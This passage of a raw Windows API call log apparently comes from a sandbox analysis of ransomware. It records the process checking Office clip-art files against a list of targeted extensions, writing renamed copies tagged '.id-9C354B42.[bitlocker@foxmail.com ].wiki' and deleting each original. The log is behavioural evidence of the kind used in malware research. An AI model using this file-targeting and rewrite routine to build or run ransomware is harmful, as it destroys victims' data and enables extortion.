Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0199.517] lstrlenW (lpString=".doc") returned 4 [0199.517] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.517] lstrlenW (lpString=".docx") returned 5 [0199.517] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0199.517] lstrlenW (lpString=".pdf") returned 4 [0199.517] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.517] lstrlenW (lpString=".xls") returned 4 [0199.517] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.517] lstrlenW (lpString=".xlsx") returned 5 [0199.517] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0199.517] lstrlenW (lpString=".ppt") returned 4 [0199.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0199.518] lstrlenW (lpString=".zip") returned 4 [0199.518] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.518] lstrlenW (lpString=".rar") returned 4 [0199.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.518] lstrlenW (lpString=".bz2") returned 4 [0199.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.518] lstrlenW (lpString=".7z") returned 3 [0199.518] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0199.518] lstrlenW (lpString=".dbf") returned 4 [0199.518] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0199.518] lstrlenW (lpString=".1cd") returned 4 [0199.518] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0199.518] lstrlenW (lpString=".jpg") returned 4 [0199.518] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0199.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0199.518] lstrlenW (lpString=".doc") returned 4 [0199.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.518] lstrlenW (lpString=".docx") returned 5 [0199.518] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0199.518] lstrlenW (lpString=".pdf") returned 4 [0199.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.519] lstrlenW (lpString=".xls") returned 4 [0199.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.519] lstrlenW (lpString=".xlsx") returned 5 [0199.519] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0199.519] lstrlenW (lpString=".ppt") returned 4 [0199.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0199.519] lstrlenW (lpString=".zip") returned 4 [0199.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.519] lstrlenW (lpString=".rar") returned 4 [0199.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.519] lstrlenW (lpString=".bz2") returned 4 [0199.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.519] lstrlenW (lpString=".7z") returned 3 [0199.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0199.519] lstrlenW (lpString=".dbf") returned 4 [0199.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0199.519] lstrlenW (lpString=".1cd") returned 4 [0199.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0199.519] lstrlenW (lpString=".jpg") returned 4 [0199.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.519] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.519] lstrlenW (lpString="J0185800.WMF") returned 12 [0199.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.520] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=24238) returned 1 [0199.520] CloseHandle (hObject=0x1fc) returned 1 [0199.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf")) returned 0x20 [0199.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.521] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.521] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.521] GetLastError () returned 0x0 [0199.521] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x5eae, lpOverlapped=0x0) returned 1 [0199.523] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x5eb0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x5eb0, lpOverlapped=0x0) returned 1 [0199.525] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.525] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.525] SetEndOfFile (hFile=0x1cc) returned 1 [0199.525] CloseHandle (hObject=0x1cc) returned 1 [0199.525] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.526] SetEndOfFile (hFile=0x1fc) returned 1 [0199.526] CloseHandle (hObject=0x1fc) returned 1 [0199.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf")) returned 1 [0199.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0199.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0199.527] lstrlenW (lpString=".doc") returned 4 [0199.527] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.527] lstrlenW (lpString=".docx") returned 5 [0199.527] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0199.527] lstrlenW (lpString=".pdf") returned 4 [0199.527] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.527] lstrlenW (lpString=".xls") returned 4 [0199.527] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.527] lstrlenW (lpString=".xlsx") returned 5 [0199.527] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0199.527] lstrlenW (lpString=".ppt") returned 4 [0199.527] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0199.527] lstrlenW (lpString=".zip") returned 4 [0199.527] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.527] lstrlenW (lpString=".rar") returned 4 [0199.527] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.527] lstrlenW (lpString=".bz2") returned 4 [0199.527] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.528] lstrlenW (lpString=".7z") returned 3 [0199.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0199.528] lstrlenW (lpString=".dbf") returned 4 [0199.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0199.528] lstrlenW (lpString=".1cd") returned 4 [0199.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0199.528] lstrlenW (lpString=".jpg") returned 4 [0199.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0199.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0199.528] lstrlenW (lpString=".doc") returned 4 [0199.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.528] lstrlenW (lpString=".docx") returned 5 [0199.528] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0199.528] lstrlenW (lpString=".pdf") returned 4 [0199.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.528] lstrlenW (lpString=".xls") returned 4 [0199.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.528] lstrlenW (lpString=".xlsx") returned 5 [0199.528] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0199.528] lstrlenW (lpString=".ppt") returned 4 [0199.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0199.528] lstrlenW (lpString=".zip") returned 4 [0199.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.528] lstrlenW (lpString=".rar") returned 4 [0199.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.529] lstrlenW (lpString=".bz2") returned 4 [0199.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.529] lstrlenW (lpString=".7z") returned 3 [0199.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0199.529] lstrlenW (lpString=".dbf") returned 4 [0199.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0199.529] lstrlenW (lpString=".1cd") returned 4 [0199.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0199.529] lstrlenW (lpString=".jpg") returned 4 [0199.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.529] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.529] lstrlenW (lpString="J0185806.WMF") returned 12 [0199.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.530] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=30522) returned 1 [0199.530] CloseHandle (hObject=0x1fc) returned 1 [0199.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf")) returned 0x20 [0199.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.530] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.530] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.531] GetLastError () returned 0x0 [0199.531] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x773a, lpOverlapped=0x0) returned 1 [0199.533] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x7740, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x7740, lpOverlapped=0x0) returned 1 [0199.534] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.534] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.534] SetEndOfFile (hFile=0x1cc) returned 1 [0199.534] CloseHandle (hObject=0x1cc) returned 1 [0199.534] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.535] SetEndOfFile (hFile=0x1fc) returned 1 [0199.535] CloseHandle (hObject=0x1fc) returned 1 [0199.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf")) returned 1 [0199.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0199.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0199.536] lstrlenW (lpString=".doc") returned 4 [0199.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.536] lstrlenW (lpString=".docx") returned 5 [0199.536] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0199.536] lstrlenW (lpString=".pdf") returned 4 [0199.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.536] lstrlenW (lpString=".xls") returned 4 [0199.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.536] lstrlenW (lpString=".xlsx") returned 5 [0199.536] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0199.536] lstrlenW (lpString=".ppt") returned 4 [0199.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0199.536] lstrlenW (lpString=".zip") returned 4 [0199.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.536] lstrlenW (lpString=".rar") returned 4 [0199.536] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.536] lstrlenW (lpString=".bz2") returned 4 [0199.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.536] lstrlenW (lpString=".7z") returned 3 [0199.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0199.537] lstrlenW (lpString=".dbf") returned 4 [0199.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0199.537] lstrlenW (lpString=".1cd") returned 4 [0199.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0199.537] lstrlenW (lpString=".jpg") returned 4 [0199.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0199.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0199.537] lstrlenW (lpString=".doc") returned 4 [0199.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.537] lstrlenW (lpString=".docx") returned 5 [0199.537] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0199.537] lstrlenW (lpString=".pdf") returned 4 [0199.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.537] lstrlenW (lpString=".xls") returned 4 [0199.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.537] lstrlenW (lpString=".xlsx") returned 5 [0199.537] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0199.537] lstrlenW (lpString=".ppt") returned 4 [0199.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0199.537] lstrlenW (lpString=".zip") returned 4 [0199.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.537] lstrlenW (lpString=".rar") returned 4 [0199.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.537] lstrlenW (lpString=".bz2") returned 4 [0199.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.538] lstrlenW (lpString=".7z") returned 3 [0199.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0199.538] lstrlenW (lpString=".dbf") returned 4 [0199.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0199.538] lstrlenW (lpString=".1cd") returned 4 [0199.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0199.538] lstrlenW (lpString=".jpg") returned 4 [0199.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.538] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.538] lstrlenW (lpString="J0185818.WMF") returned 12 [0199.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.539] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=35726) returned 1 [0199.539] CloseHandle (hObject=0x1fc) returned 1 [0199.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf")) returned 0x20 [0199.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.539] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.539] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.540] GetLastError () returned 0x0 [0199.540] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x8b8e, lpOverlapped=0x0) returned 1 [0199.542] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x8b90, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x8b90, lpOverlapped=0x0) returned 1 [0199.543] ReadFile (in: hFile=0x1fc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.543] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.544] SetEndOfFile (hFile=0x1cc) returned 1 [0199.544] CloseHandle (hObject=0x1cc) returned 1 [0199.544] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.544] SetEndOfFile (hFile=0x1fc) returned 1 [0199.545] CloseHandle (hObject=0x1fc) returned 1 [0199.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.545] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf")) returned 1 [0199.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0199.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0199.545] lstrlenW (lpString=".doc") returned 4 [0199.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.545] lstrlenW (lpString=".docx") returned 5 [0199.545] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0199.545] lstrlenW (lpString=".pdf") returned 4 [0199.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.546] lstrlenW (lpString=".xls") returned 4 [0199.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.546] lstrlenW (lpString=".xlsx") returned 5 [0199.546] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0199.546] lstrlenW (lpString=".ppt") returned 4 [0199.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 